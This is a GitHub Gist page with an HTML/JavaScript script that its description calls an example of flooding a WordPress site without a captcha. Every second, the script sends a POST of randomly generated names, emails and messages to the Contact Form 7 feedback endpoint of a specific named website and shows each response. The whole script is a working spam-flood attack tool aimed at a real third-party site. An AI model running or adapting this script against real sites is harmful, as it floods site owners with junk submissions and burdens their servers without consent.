Created
April 6, 2019 07:15
-
-
Save lablnet/7b879063753f7984d90a1a5124269e6f to your computer and use it in GitHub Desktop.
An example script to show flood with wordPress website(where no captcha)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE HTML> | |
<html> | |
<head> | |
<title>Flood</title> | |
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> | |
</head> | |
<body> | |
<div> | |
<span id='status'></span> | |
</div> | |
</body> | |
<script> | |
//Generate the ramdom salts | |
function makeid(length) { | |
var text = ""; | |
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; | |
for (var i = 0; i < length; i++) | |
text += possible.charAt(Math.floor(Math.random() * possible.length)); | |
return text; | |
} | |
//Count no of entery | |
count = 0; | |
function flood_up() | |
{ | |
count++; | |
var URL = " https://softotornix.com/wp-json/contact-form-7/v1/contact-forms/5835/feedback"; | |
var name = makeid(10); | |
var email = name + "@gmail.com"; | |
var subject = name + " subject" | |
var b = makeid(100); | |
var body = b + " body" | |
console.log(count); | |
console.log(name); | |
console.log(email); | |
console.log(subject); | |
console.log(body); | |
//Sending flood data | |
$.post(URL, {"your-name": name, "your-email": email, "your-subject": subject, "your-message": body | |
} ,function(data) { | |
console.log(data); | |
$("#status").append("<h3>Sending Request... "+count+"</h3>" + " <b>Name:</b> " + name + " <b>Email:</b> " + email + "<br/> <b>Body:</b> " + body + "<br/> <h3>Server Response: </h3> " + data.message + "<br/>"); | |
//Scroll down. | |
window.scrollBy(0,500); | |
}); | |
} | |
//Continue flooding on every second. | |
setInterval(flood_up, 1000); | |
</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Working Snap.